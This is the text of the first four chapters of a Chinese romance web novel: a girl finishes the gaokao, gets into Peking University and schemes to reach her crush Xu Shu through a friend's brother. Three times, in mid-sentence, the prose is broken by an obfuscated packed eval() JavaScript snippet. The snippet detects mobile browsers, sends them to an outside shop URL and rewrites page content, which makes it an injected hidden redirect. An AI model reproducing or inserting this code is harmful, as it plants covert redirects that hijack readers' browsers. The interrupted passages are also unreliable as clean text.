《此许非徐》 1. 第 1 章 又有人在和许树表白。 从“考试结束，请停止答题”到现在，这已经是第二位了。 乐知世从教室阳台拿出木拖把，慢吞吞地往厕所的方向走。 这段路的必经之地是一班，但因有人在表白，狭窄的走廊里挤满了看热闹的人，乐知世没办法带着拖把从中穿过，于是顺理成章的，她站在人群边缘羡慕地看着这位女生。 极偶尔的，乐知世的视线会扫过人群中最高、最显眼的那个男生。 许树有着一副很会迷惑人的皮囊，多情的桃花眼真的是看狗都深情。 “许树同学，我从高一的入学典礼就注意到你了。” 乐知世不自觉地点点头。 巧了不是？她也是在高一的入学典礼上，被许树那几句直言校长浪费大家时间的发言所吸引的。 她在此之前，从来没见过嘴那么毒、还敢说出来的人。 “在这三年里，我一直在默默地关注你，我知道你肯定在学习上面付出了很多努力，才能一直保持着全校第一的成绩，真是辛苦啦。” 乐知世表情微微发涩，她不清楚许树这三年辛不辛苦，但她想起自己为了能追上许树的步伐，三年里埋头苦学、一刻不敢松懈的日子。 真的是辛苦极了呢。 她说的是她自己。 “现在高考结束，祝你我都拥有更好的未来。” “如果……我的未来里能有你，那就更完美了，你觉得怎么样？” 在一群人的起哄声中，乐知世完全被这个勇敢的女生打动。 说得真好，委婉又清楚地表达了自己的想法。 乐知世想起自己刚刚一时兴起写的情书，好像议论文，忽然有些拿不出手。 但没办法，她只会“总论点——分论点——生硬升华”这种写法。 她那封十分钟写完的情书，似乎只有技巧没有感情。 算了，不送了。 “安静点，你们的书都收拾完了吗？再过会儿老班该过来催我们走了，没收拾完的赶紧进去收拾，别挡着其他同学正常走路。”许树的声音响起。 他没有当众回应女生的问题，反而借着收拾书和“其他同学”，把在看热闹的人都赶回教室。 如果乐知世没发现自己就是他口中的那个“其他同学”，她的心情可能会更美妙些。 其他男生都给面子的回教室了，只剩下来给女生打气的朋友们，和她。 乐知世拽着手中的拖把，目不斜视地从告白现场路过。 像曾经的每一次。 “哗啦！” 乐知世用力地搅着拖把池。 三年，整整三年啊，她和许树一直是隔壁班，每天抬头不见低头见……好吧，她好像因为学习太过认真，确实没怎么见到过许树。 但是！每次考试出分，她的名字都和许树离得那么近！就算平时没见过面，作为全科老师共用的兄弟班，也该知道她的名字吧？ 其他同学？其他同学……！？ 越想水声越大。 “知世，这个拖把怎么惹到你了？”是她的同桌于佳桃。 乐知世回神，继续大力转着：“没有，这样洗得干净。” “等我一起回去，我上个厕所。”于佳桃和她都是走读生。 乐知世抬起拖把，看它滴水：“嗯，等你。” 她们从厕所出来时，走廊上已经没了许树的身影。 路过一班时，乐知世的视线悄悄越过门窗，向里探了两眼。 许树好像走了。 乐知世进教室，从阳台开始，默不作声地拖着地。 住校的同学因为家比较远，收拾完书就先回家了。 班里最后一次的卫生大扫除，都交给了走读生。 他们每人分配一项任务，干起来的速度也快，还没到平时放学的时间就全都结束了。 他们的高中生涯彻底结束了。 “有点舍不得。”于佳桃抱着乐知世的胳膊，“学校怎么就空了呢？” 乐知世微微挑眉：“舍不得？舍不得早上五点起床？” 于佳桃：“……那倒不是。” 乐知世又问：“那是舍不得十点半下晚自习？” 于佳桃那点子伤感被乐知世几句话轻飘飘赶走：“知世你，唉，我先回家了，被你说得有点犯困。” 其实这段时间大家都很困倦，但高考结束的瞬间，很多人就像突然打了鸡血，之前所有的疲惫都烟消云散。 乐知世不在其中，她快困疯了，是让她表演站着睡觉都没问题的程度，只有在刚刚看人表白时精神些。 乐知世是最后锁门的人，她背着一个不大的明黄色双肩包，走向办公室。 她的书早就被她分批次搬回了家，后背没有恼人的坠感，走路变得轻松，而乐知世的眼皮子却越来越沉。 “哐——”很实在的一声巨响。 办公室里正在闲聊天的老师们被惊得朝门口望。 乐知世脑门上一块红，乌黑的眼睛瞪得圆圆的，里面同样满是惊讶。 看上去比屋里的人还要奇怪——她怎么撞上去的？ “没事吧？”他们班的班主任，也是语文老师站起来，“高考完就那么激动吗？” 乐知世抬手，摸了摸脑门，瞌睡虫全被吓跑了：“老师我没事。” 她掏出钥匙：“钥匙给您放哪儿？” 许宪指了指自己的办公桌：“放上面就行。” 乐知世绕过聚集在一起的老师们，熟门熟路地往最里面的办公桌走去。 她原本快速的步伐在看清办公桌上趴着谁时慢了些。 但意识到得太晚，这个慢大概只能让她多看一眼。 啧，后脑勺都圆润得漂亮。 乐知世不贪心，看完就利索地把钥匙放在许宪办公桌上，转身正准备走，又被几个老师叫住。 化学老师只关心化学：“知世啊，觉得这次的化学试卷难吗？” 乐知世诚实地摇头：“我觉得还行。” “你觉得还行就是没问题。”化学老师对乐知世还是很放心的，“老师等你捧个单科第一回来。” 有化学老师开头，负责其他科目的老师也轮流跟着问了一遍，乐知世的回答都是“还行”。 只有——语文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745695|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐知世摸摸鼻子，声音忽地有些发虚：“作文，好像，又跑题了。” 如果不看语文成绩，乐知世在高三的几次模考里，总成绩都是能压许树一头的，但语文太重要了，不论是学文还是学理都要考，她根本逃不掉。 许宪作为她的班主任加语文老师，不死心地问：“真跑题了？” “嗯。”乐知世潇潇洒洒地写完就觉得不妙，所以在考完语文后，她回家连水都没喝上一口，就在网上搜高考作文题目的分析。 果不其然，人只有走在错误的道路上，才会自信到觉得以前的难题根本不是事儿。 “哎哟，我的心脏病都要犯了。”许宪心痛，“乐知世，你是不是对老师有什么意见啊？” 不然怎么门门都好，偏他教的语文不行。 怎么会有意见？ 乐知世不仅对他没意见，还对他有想法——她想当许宪儿子的女朋友呢。 “当然没有意见。”乐知世斟酌着语句，小心翼翼地抬眼，“我只是不太擅长这种没有标准答案的问题，语文前面的默写和选择题我应该答得还行。” 考都考完了，许宪说再多也没用，他挥了挥手：“行了，赶紧回家吧，路上注意安全。” “好的。” “我也回去了。” 乐知世的身后传来懒洋洋的一声，压住了她的声音，也硬控了她零点五秒。 刚刚趴在办公桌上的男生站起来，几个大步就走到乐知世身边，手对着许宪一伸：“心脏病老爸，钥匙给我。” 许宪平时上课的口头禅就是“我的心脏病都要犯了”，但实际上他年年体检只有视力不达标。 所以许树这声称呼，大概率是嘲讽。 乐知世在心里为许树的“直言快语”点赞。 在许宪翻找家里钥匙的时候，乐知世和各科老师们说了再见。 她这次刻意走慢了些，还在楼下花坛磨蹭了一会儿，但她仍没等到许树下来。 其实乐知世就算等到许树，也不会在现在这个时候表白。 她得确定他们俩可以考上同一所大学，目标一致，且未来不会异地恋后，才会选择出击。 她的出击不是直接表白，而是追人。 因为乐知世不觉得许树会随便答应一个不认识的人的表白。 离开学校前，她把在口袋里皱成纸团的情书扔进垃圾桶里，十分潇洒地走到车库，骑上小电驴就往家赶。 她回到家的第一件事，就是睡觉。 乐知世不分昼夜地睡了将近三十个小时才彻底清醒。 她舒舒服服地洗好澡，翻出因没电而自动关机的手机，给它喂到能开机后，乐知世就开始玩了。 此时手机上最热闹的地方就是班级群和朋友圈。 大家在无形中达成默契：高考成绩出来前，一定要先玩个痛快。 乐知世点进班级群，无聊到从头开始看起。 她快速略过乱七八糟的各种讨论，从零星的几条消息和已结束的群投票中，发现他们班将要和一班一起，用剩下的班费联合办一场谢师宴。 就在出成绩的前一天。 2. 第 2 章 比谢师宴先到的是徐荷清。 “乐知世！”她风风火火地冲进房间，把床上的人拽起来，“咦？你怎么一点都没变？” 乐知世被人这么闹醒也没有脾气，她睁开眼睛，有些不解：“应该变什么？” “唔。”徐荷清举例子，“比如染头发、买新衣服、微调一下，或者减肥？” 乐知世从枕下摸出黑色发圈，手抓了抓就扎成一团，她看了眼光鲜亮丽的徐荷清，说：“一定要做？” “反正我哥全做了。”徐荷清自来熟地打开乐知世的衣柜，她挑挑拣拣，最后选了件白色短袖衬衫和黑灰格背心裙扔给坐在床边发呆的人，“还是乐老师审美好，给你买的衣服都是经典百搭款。” 徐荷清口中的“乐老师”，是乐知世的妈妈乐东兰。 她并不是在学校教课的老师，徐荷清之所以称她为“老师”，是因为乐东兰开了一家舞蹈培训机构，在机构还没扩大规模的时候，乐东兰就是里面唯一的老师。 乐知世和徐荷清，也是在那里认识的。 两人小时候常常一起边哭边练，直到高一时，乐知世宣布不想走艺考的路，她才从中解放出来。 但舞蹈带给她的影响是永远的。 有挺拔的好体态，也有变形的脚趾。 换好衣服的乐知世手里拿着一双袜子，尽管现在是夏天，她还是习惯穿着棉袜。 两人都快出门了，乐知世才慢半拍地问了句：“你哥？” 徐荷清习以为常，乐知世在刚睡醒的半个小时内总是这样。 “对啊，我哥。头发染了个冷棕色，拉了个双眼皮，还办了□□身卡。整个人现在骚里骚气的，像一只被毒棕了的大眼青蛙。” 乐知世：“……” 棕色的大眼蛙吗？那确实很骚气了。 “可是你哪儿来的哥哥？”乐知世打开客厅电视柜的抽屉，拿了两张红色钞票揣进口袋里。 “其实我也是刚知道他的存在，这事儿说起来还有些复杂。”徐荷清说，“总之，就是我妈当年生了一对双胞胎，她坐月子期间，和我爸闹离婚的事情被我的邪恶爷奶知道了，邪恶爷奶连夜从乡下赶来，把我哥偷走了。” 乐知世震惊：“偷走？” “对啊，偷走藏起来了。中间经过很长时间的拉扯，最后我妈和我的懦弱爹协议离婚，一人带一个孩子。”徐荷清想起什么，问她，“你记不记得我在你家住的那几次？” 乐知世肯定记得，她们俩每次睡在一起，就会偷看鬼片，吓得半夜连厕所都不敢去。 “当时我妈骗我去出差，实际上是偷偷回去看我哥了。但我的邪恶爷奶把他藏得严实，我妈去了几次都没有见到。” “她觉得这辈子很可能都没机会和我哥相认了，告诉我也只是多一个人难过，所以一直瞒着我。” 乐知世听徐荷清说话的时候也没闲着，她冲着胳膊喷了喷防晒喷雾，喷好后，正要伸手去拿运动鞋，就被徐荷清拍了下。 “穿小皮鞋更配。”徐荷清讲故事的中途还不忘给乐知世搭配。 乐知世觉得皮鞋闷脚，不爱穿，于是她提出另一个可能：“帆布鞋行吗？” 徐荷清让她试试，看她上脚后并不突兀，点头：“行。” 她继续说：“今年我哥参加高考，我妈觉得是个机会，跑了好几个考点，终于在其中一个找到了我哥。” 乐知世打岔：“你哥今年参加高考？你不是说你们是双胞胎吗？” 徐荷清现在读高二。 当年两人上的是同一所小学，徐荷清因年龄不够，在报名当天，被送回了幼儿园大班又多读了一年。 乐知世还记得那天分开时，徐荷清哭得有多惨。 主要是徐荷清的鼻涕蹭到了乐知世身上，现在想起来那鼻涕，乐知世还觉得难受。 “是啊！他八月三十一号晚上十一点五十多出生的，等我出来，就变成九月一号了。”徐荷清咬牙切齿道，“明明就比我早出生了几分钟。” 乐知世不知道说什么才好，她想了想，生硬地转移话题：“徐阿姨真厉害，这都能找到你哥。” “当然，那可是我妈，她想做什么都能成功。”徐荷清向来为妈妈感到骄傲，“这次她把我哥带回来了，还给他改了姓。” 她们两人终于出门。 热浪袭击，乐知世脑子都被热清醒了，她问：“之前不是还特地藏起来吗？那边现在怎么肯放人？” “我的懦弱爹再婚了，那、那个眼神不太好的阿姨生了一对双胞胎儿子。”徐荷清撇撇嘴，“儿子、孙子多了，就不值钱了呗，邪恶爷奶光顾着稀罕新孙子们，再看我哥就觉得多余了。” “见我妈还愿意要他，不仅超级配合地办好手续，甚至连夜打包了我哥的行李让他走。” “听起来，你哥在那边过得不太好，有点可怜。”乐知世说。 徐荷清勉强地点头：“就是看在他可怜的份上，我现在才忍耐着他。” 从没见过面的兄妹忽然同处一个屋檐下，肯定会不适应。 到了小区门口，乐知世伸手拦车。 她们俩今天出门是要去书店。 徐荷清暑假要去外地封闭集训，乐知世准备带她挑些适合她的练习册和试卷。 在乐知世要往购物篮里塞第五本时，徐荷清终于忍不住：“知世，小知，这也太多了吧？我觉得这些够我做好久了。” 乐知世头都不抬，眼神专注地继续寻找着书：“我算过了，你每天各科目做十道题，大概是七本的题量。” 封闭集训时，徐荷清是没办法接触电子产品的，休息的时候闲着也是闲着，不如多做几道题。 天呐！七本！ 徐荷清光是听着头都要痛了，她深吸两口气，抓住乐知世伸出去的右手，问：“谢师宴那天你想好穿什么了吗？” “没有。”乐知世抬起左手，把看中的那本练习册塞进购物篮里，“拿到哪件穿哪件吧。” “乐知世！你怎么能这样？”徐荷清替她着急，拽着乐知世往收银台的方向走，“这可是你第一次和许树在同一张饭桌上吃饭啊！四舍五入，你们就是一家人了。” 乐知世被徐荷清点醒。 对啊，这可是第一次…… 她不自觉翘起的唇角没过多久便被扯平，她忘记和徐荷清说了：“许树连我叫什么名字都不知道。” 一家人？陌生人！ “那你更得惊艳出场，就这次谢师宴，让他彻底记住你的名字，再也忘不掉。”徐荷清迅速付钱，拉着乐知世远离这个对她而言有些可怕的地方。 认识她。 该从记住她的名字开始。 但名字要伴随足够多的记忆点，才可以让对方迅速将人和名字联系起来。 乐知世稀里糊涂地就被徐荷清拉进了理发店。 她倒是没去染发，只是剪头发。 漫画刘海加高层次。 理发师刚吹完造型，徐荷清就夸张地惊呼：“乐知世！你知道现在的你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745696|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多可爱吗？我选的这个发型果然适合你。” 乐知世忍不住想撩起刘海，她的眼睛还不太习惯。 徐荷清把她拦下，牵着她的手，带着她进了没多远的彩妆店。 她们以前经常化妆登台表演节目，哪怕这三年乐知世天天素着脸，对这些彩妆也不陌生。 最后两人都是满载而归。 六月二十四号晚上八点出成绩。 但六月二十三号的乐知世更紧张。 出门前，她盯着镜子里陌生的自己，觉得全妆实在是太“隆重”了，美丽得有些虚假。 纠结来纠结去，乐知世还是这么出了门。 好歹是辛苦化的妆，她的时间是金钱，必须得花出去。 乐知世本以为自己会在同学里显得特别奇怪，结果到场后发现，每个人都是“盛装”出席。 回想起最后一次和学校里的同学见面，大家明明都是灰扑扑的模样。 青春的魔法，却可以迅速让他们在短时间内发光发亮。 神奇。 感叹结束，乐知世的眼神自动开始搜索许树的身影。 东边那桌没有，中间那桌坐的是老师，最靠近门口的位置同样没有。 乐知世正在考虑许树缺席的可能性，就感受到有人戳了下她的肩膀。 “同学，让让。” 不小心挡路的乐知世面无表情地让开。 许树快速地经过，手臂惯性摆动，接触到另一边温热的肌肤。 他回头，垂下眼睛，冲着看起来有些不太高兴的女生道歉：“不好意思，路就那么窄，你站在这里，没办法。” 桃花眼含笑，说话的语气里听不出丝毫歉意。 乐知世心里放烟花，面上表情僵硬，嘴巴自动翻译：“哦，怪我自己站在这里碍事是吧？” “那倒不是。”许树否认。 他的唇动了动，笑着丢下意味不明的两个字走了。 乐知世宛如游魂，飘进于佳桃身旁的椅子里。 于佳桃拉她加入刚刚的话题：“知世，我们准备毕业旅行去云南玩，你要不要和我们一起？” 乐知世抬头：“挺好。” “那就这么定了。”于佳桃心中既兴奋又伤感，她说，“大家以后天南海北，估计会很难见面了。” 乐知世重复着：“挺好。” 于佳桃：“……” 坐在于佳桃另一边的胡芮笑出声：“确实挺好，但如果能一直像现在这样就更好了。” “那不行。”乐知世眸子闪烁，“我们的未来一定会更更更好。” 大家都吃得很高兴，现在看见老师不用躲，更不用害怕突然的提问。 甚至有人大着胆子和老师勾肩搭背。 本就热闹的气氛在老许接了一个电话后被掀到高点。 ——许树很有可能是他们这个市的理科状元。 说是很有可能，但既然有这种消息流出来，那就是百分百了。 挂断电话后，是越来越多的来电。 消息灵通的高校们已经开始抢人。 先是北大，再是清华，许宪嫌烦，把手机直接丢给了许树。 乐知世隔着一张桌子，明目张胆地看着许树接电话。 她一直觉得许树的侧颜比正脸更好看，尤其是现在，多了个市状元的光环，更耀眼了。 想要得到他的渴望，在这一刻达到了顶峰。 许树似乎是察觉到什么，微微转过脸，和她视线相撞。 3. 第 3 章 乐知世没躲。 是许树非要走到她抬头就能看见的位置接电话，她多欣赏两眼怎么了？ 再说了，这样边吃边看，还挺下饭的。 其实不止她一个人在看许树。 好奇的、羡慕的、欣赏的目光，纷纷落在他身上。 “知世，我有点害怕。”于佳桃声音发颤，“数学的最后一道大题，我连第一小问都没来得及做。” 乐知世也怕。 许树正常发挥，那她考得怎么样呢？作文跑题了，会不会得零分？ 高考成绩，一分便是千军万马。 而作文满分足足七十分。 “我们已经尽力了。”乐知世既是在对于佳桃说，也是在给自己打气，“要相信，成绩不会辜负我们的付出。” 说是这么说，真到了能查成绩那一刻，乐知世根本不敢看。 徐荷清特地跑到她家，要陪她一起见证这个重要时刻。 结果乐知世一会儿跑卫生间，一会儿又摆弄起她拼了大半的模型。 “乐知世，你到底在逃避什么？”她那点小心思太明显了，徐荷清想装不懂都做不到。 倒也不完全是因为逃避。 乐知世在徐荷清来之前喝了太多水，刚才在回房间的路上又灵光一闪，想起昨晚拼模型卡住的地方，便赶紧动手拼完，省得待会儿忘记思路。 “……就是有点担心我没考好。”乐知世老老实实拿着准考证坐到电脑跟前。 徐荷清手里拿着大疆相机，镜头对准乐知世，盯着不大的屏幕，随口说道：“怕没考好？怎么，担心没办法和许树上同一所学校吗？其实在同一个城市也挺好的。” 乐知世已经和她讲了昨天谢师宴上发生的事情。 既然许树考得那么好，大概率会在清华和北大之间二选一了。 徐荷清完全理解乐知世的压力。 “啊？不是。”镜头里的乐知世歪了歪头，幽幽地叹了口气，完全是在为自己烦恼，“没考好的话，我会觉得自己好可怜，辛辛苦苦三年，没有一天睡饱过。” 乐知世是徐荷清见过最爱睡觉的人。 如果没有定闹钟，完全放任她睡觉，她能每天睡十几个小时。 徐荷清没搭理她的话，只催促她：“快点输密码。” 乐知世的速度总算快了不少。 徐荷清还没来得及调整镜头角度，乐知世已经麻利地摁下了回车键。 而页面跳转的速度更快。 在毫无心理准备的情况下，总成绩就猛猛地闯进她们眼里。 691分。 “靠——” 徐荷清激动地疯狂拍着乐知世的胳膊：“你再说一遍，你担心什么？这叫没考好？” 哪怕是好朋友，徐荷清也忍不住谴责乐知世：“最烦你们这些好学生装模作样说考砸了！” 乐知世同样震惊，整个人完全呆住，脑子里只剩下“691”在循环打转着。 她超常发挥了？ 这可是她从没有过的好成绩。 在徐荷清叽叽喳喳的报喜声中，她终于回过神，舒展着身体站了起来，轻声道：“没白牺牲。” 她说的是她宝贵的睡眠时间。 等乐知世的爸爸妈妈回到家，她才知道：他们昨天也接到过高校招生办的电话，相当于提前知道了女儿考得不错的消息。 完全不知情的乐知世想到自己昨晚一晚上没睡好，决定接下来三天不要和他们讲话了。 当然，她还没坚持到一个小时，就被爸妈转过来的奖励红包哄开心了。 毕业旅行的资金有了。 乐知世回到房间，给于佳桃发消息。 【闭眼睛是在思考：佳桃，昨天大家有没有敲定什么时候去云南啊？】 等消息的空闲，乐知世翻看了朋友圈。 一刷新，跳出好几条新的动态。 动态里配上成绩图的大多是成绩考得不错的，也有几条考试失利但心态超好的人在大呼完蛋，今天的晚饭注定是爸妈亲手烹饪的竹笋炒肉，不想吃，求好心人收留。 手机震动，乐知世去看，果然是于佳桃回她消息，但并不是条好消息。 【momo：知世，我可能去不了云南了。】 【momo：这次我没考好，刚刚和爸妈讨论了下，我准备回去复读。】 安慰或劝解的话在此刻都显得过于苍白。 【闭眼睛是在思考：加油，放假我会去学校看你的。】 【momo：好，过来得给我带好吃的。】 乐知世所在的省份是高考大省，他们从小就开始卷学习，考个好大学，是每个家长和学生的执念。 所以她完全理解于佳桃的选择。 往日里热热闹闹的班级群现在格外安静，群里最后一条消息还是许宪提醒他们可以查成绩。 高考成绩出来后又过了几天，许宪在群里通知了学校组织拍毕业照的日子。 大家在这个时候，不论考得好坏都已经接受，情绪被掀过，便开始讨论起拍毕业照的事情。 拍毕业照只是其一，返校当天每个人还会领到厚厚的几本资料：《高考志愿填报指南》、《全国高校录取分数线》、《近五年录取统计》…… 比普通教材大多了，书包都塞不下，只能抱在怀里拿着。 “调剂！”许宪在教室里强调，“一定要记得把调剂勾选上。” “不要选好专业就直接提交，多填几个专业和学校，把它们填满，填完记得检查自己有没有选择调剂，忘记选调剂，就会有滑档的风险……” 报志愿还需要仔细研究。 不过大家都不着急回家。 学校的操场上、空教室里被各大高校的招生办和学姐学长们占领，有心仪院校的人可以直接过去咨询了解，没有确定好的人也可以过去转一圈，把每所高校的传单都拿回家看看。 乐知世则被许宪叫走了。 “考得不错嘛，我们班第一名。这次语文居然考到了班里的平均分。”学校已经统计过学生的分数，许宪第一个看的就是乐知世的语文成绩，“你有没有和家长商量好去哪所学校？” 乐知世肯定想去全国最好的大学，但是录取不是看分数，而是看排名，她目前的省排名有些危险。 她坦言：“还在纠结中。如果搏一搏，选择最好的大学，那被调剂到冷门专业的可能性很大；如果以专业为先，那学校肯定就没那么好。” 许宪听完，说：“老师给你的建议是，选择一个好学校。平台不一样，学习到的、见识到的东西都不一样，好的平台连机会都能更多一些。” 乐知世点点头，问：“老师，那我要是被清北录取了，你是不是有奖金可以拿？” 许宪：“……” 他的表情扭曲了一瞬，庆幸自己刚刚没有端起水杯。 “我给你建议可不是为了奖金。”许宪连忙摆手撇清，生怕被误会，他解释道，“要是你的分数卡在中间段，老师更建议你优先选个好专业，比硬冲学校好。” “谢谢老师，我回家跟爸妈再商量商量。”乐知世应着，话到嘴边顿了顿，终究没忍住好奇，“所以您真的是有奖金拿吗？” “不知道不知道。”许宪怕乐知世再提什么奖金的事，挥手赶她走，“你赶紧去转转吧，再过会儿那些招生老师就该走了。” 乐知世站在原地没动，眼神亮闪闪的，显然还有话要说。 许宪喝口茶水压压惊，放下水杯，见乐知世还杵在那里：“还有别的事儿？” 乐知世问得直接：“许老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745697|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师，许树想好报哪个学校了吗？” “北大。”许宪坐直身子，有些吃惊地看向她：“你问这个干什么？” 乐知世微微一笑，她早就想好了理由：“我有选择恐惧症，总觉得参考别人的选择，能更有方向感。” 什么乱七八糟的病？许宪瞥了她一眼：“你快走吧。” 她再待下去，他真的心脏病要犯了。 …… 填报志愿都是学生在家自己操作。 乐知世没犹豫。 第一志愿是北大，第二志愿是清华，后面的三、四、五……她则是按照她喜欢的专业排的。 每个学校的录取结果公布时间不同，但大多是在七月二十号左右。 乐知世每天早晚雷打不动刷新一次录取网站，终于在七月十九号看见了录取结果。 她擦线进的第一志愿。 专业被调剂到了哲学。 两天后，录取通知书到达，连外包装都精致得能当个摆件。 原本还算淡定的爸妈，在看见实物后，立刻拍照发到家族群，嘴上笑开了花，打字却含蓄着：“哎呀，总算收到了，孩子能有大学上了。” 紧接着，乐知世的微信就涌进了一堆亲戚发来的庆祝红包。 她指尖飞快地点着，点得手都快麻了，屏幕上方突然弹出一个陌生号码的来电提醒。 “喂，你好，哪位？”她接通电话，语气客气。 “我！徐荷清！你姐妹！”对面的声音响亮。 乐知世打开免提，她问：“你不是在集训吗？哪来的手机？” “手机是老师的。”徐荷清语速飞快地解释，“我哥的录取结果出来了，我妈想第一时间和我分享喜悦，所以打电话给老师，拜托老师暂时借我。” “哦，那你——” “你先别说话，听我讲！”乐知世的话被她打断，徐荷清的声音带着抑制不住的兴奋，“我哥跟你考上同一所大学了！靠，没想到那大眼蛙学习成绩还挺好！” 她急着往下说：“他说用学号在学校公众号搜到宿舍信息了，还已经和舍友加上了联系方式了！关键是，你知道他舍友里面有谁吗？” 乐知世当然不知道。 徐荷清语气夸张地自问自答：“许树啊！许树居然是我哥舍友，他们俩都加好友了，还建了宿舍群，听我哥说，他们在宿舍群里相聊甚欢。服了，动作也太快了。” “那——”乐知世刚想接话，又被徐荷清急匆匆打断。 “不行了，老师往我这儿走了，没多少时间了！”徐荷清语速飞快。 “刚刚太急了，我没来得及问你意见，已经把你的手机号报给我哥了，让他加你微信，你记得通过一下，以后想打听许树的消息，直接找我哥就行！把他当你亲哥，随便使唤，千万别客气！我先挂了啊知世，拜拜～” “嘟嘟嘟……” 通话时长一分五十八秒。 将近两分钟的通话，乐知世没说几句。 她放下手机，慢慢回想徐荷清话里的重点： 一、许树和徐荷清哥哥是室友，目前两人有联系方式且聊得不错。 二、徐荷清哥哥能给她提供许树的消息。 三、她可以把徐荷清哥哥当成自己哥哥，尽情使唤。 第三点待定，乐知世作为求人办事的那方，态度还是得好些。 但就算这样，那也很爽了。 这简直是上天见她暗恋之路太艰辛，特意在她追人前送的超级大助攻！ 当然，除了要感谢上天，更要感谢徐荷清。 不愧是她的好姐妹。 等徐荷清集训回来，她一定会多送她几本水平高的练习册。 乐知世正想着，手机就跳出一个好友申请。 【我是XU。】 4. 第 4 章 好友申请被通过。 许树单手在手机屏幕上打字：你好，学校要统计—— 字还没打完，对面就传过来一张照片，后面紧跟着好几条消息。 【闭眼睛是在思考：我喜欢许树！】 【闭眼睛是在思考：哥，麻烦你以后帮忙啦～】 【闭眼睛是在思考：[微信红包]辛苦费。】 许树：？ 他点开那张照片，确定自己对此毫无印象。 这是一张对方偷拍的照片。 但拍得挺好，于是，许树毫不客气地点下保存。 再仔细看对方发过来的几条消息。 许树挑眉，这什么意思？ 先来句表白把他震住，然后趁他头脑混乱，用金钱腐蚀他的灵魂，达成让他帮忙的目的？ 她是想让他帮忙什么？ 看起来是个非常难搞的忙。 乐知世发完消息才发现自己兴奋过头。 这也不能怪她，她和许树之间忽地产生了现实连接点，且这个连接点还愿意把他们拽到一起去。 简直像是拿到了可以进入许树世界大门的钥匙，从这刻开始，她有机会游览它。 尽管暂时需要靠别人的眼睛去看。 乐知世将手机扔得远远的，她得克制下。 现在是晚上，情绪激动容易睡不着。 乐知世从房间里出来，跑到正在收拾厨房的爸爸面前，和他汇报：“爸，小叔、晴姐都给我发了红包。” “发了你就收着。”石寄华扣紧垃圾袋，问她，“你准备什么时候和同学出去玩？” 知道于佳桃不去后，乐知世想去云南的心散了大半，她们俩是同桌，在整个班级里算是最熟悉的。 不过她当时答应了要去，乐知世想了想，还是去问了胡芮她们。 胡芮她们准备拿到录取通知书后再出发。 “可能再过一个星期？”乐知世不确定。 七月底前大家的录取通知书应该都到得差不多了。 石寄华说：“去你奶奶家过两天？我刚给你奶奶打电话说录取通知书到了，她想让你回老家办酒。” 乐知世：“办酒？办什么酒？升学宴吗？” 这几年好像很流行办这些，不管孩子考得好坏，总要请亲朋好友过来吃饭。 乐知世去年暑假还跟着爸妈吃了好几场这样的酒席。 “算是，你奶奶想要收回她之前散的礼钱。”说到这儿，石寄华都有些无奈，“本来我和你妈妈的意思是在这边办，但你奶奶说老家亲戚不方便过来，她坚持要在老家办。” 乐知世对此无所谓，回老家办就不请同学来呗，回来单请也是一样的。 “办两场。”乐东兰刚结束一通电话，她从阳台走近，“我这边要请的朋友多得很，去你老家也不方便的。” 石寄华：“我的朋友同事也在这边，知世的升学宴没必要请他们吧？亲戚们聚聚就行了。” “你懂什么？这都是我的潜在客户，关系要维护的，有来有往才能长久。”乐东兰显然是已经决定好。 …… 乐知世不掺和，她从冰箱里拿了碗老酸奶就回了房间。 将妈妈爸爸的争执关在房门外。 虽然是乐知世的升学宴，但好像只是一个给大家聚在一起的由头。 奶奶要收回礼钱，妈妈要发展客户。 至于乐知世，她负责出场就行。 捞回扔在床角的手机，乐知世发现徐荷清哥哥在几分钟前给她回了消息。 【“XU”撤回了一条消息。】 【“XU”撤回了一条消息。】 连着两条撤回，只剩最后一条，还是个孤零零的问号。 乐知世：！！！ 早知道就守着手机等消息了，这下子都不知道荷清哥哥到底发过什么重要消息。 难道徐荷清没和她哥说清楚？ 乐知世正准备解释，对面又窜出来一条新消息。 【XU：答应你行了吧，不要动不动就不理人，多不礼貌。】 有脾气但好说话的棕色大眼蛙。 【闭眼睛是在思考：不好意思啊哥，我刚刚没看手机。】 【闭眼睛是在思考：嘿，哥，我就知道你是大好人。】 【闭眼睛是在思考：哥，你们在宿舍群里什么都聊吗？】 对面几乎是秒回。 【XU：当然不是，我们都是正经男生。】 正经男生会聊什么？ 乐知世觉得她需要摸个底。 【闭眼睛是在思考：许树……】 【闭眼睛是在思考：有肌肉吗？】 【XU：！？】 【XU：有的。】 乐知世瞪大眼睛，险些被嘴里噎人的老酸奶呛到。 这都知道！那看来真的是相聊甚欢！ 乐知世又发过去一个红包。 【闭眼睛是在思考：靠谱！】 【闭眼睛是在思考：你值得，快领。】 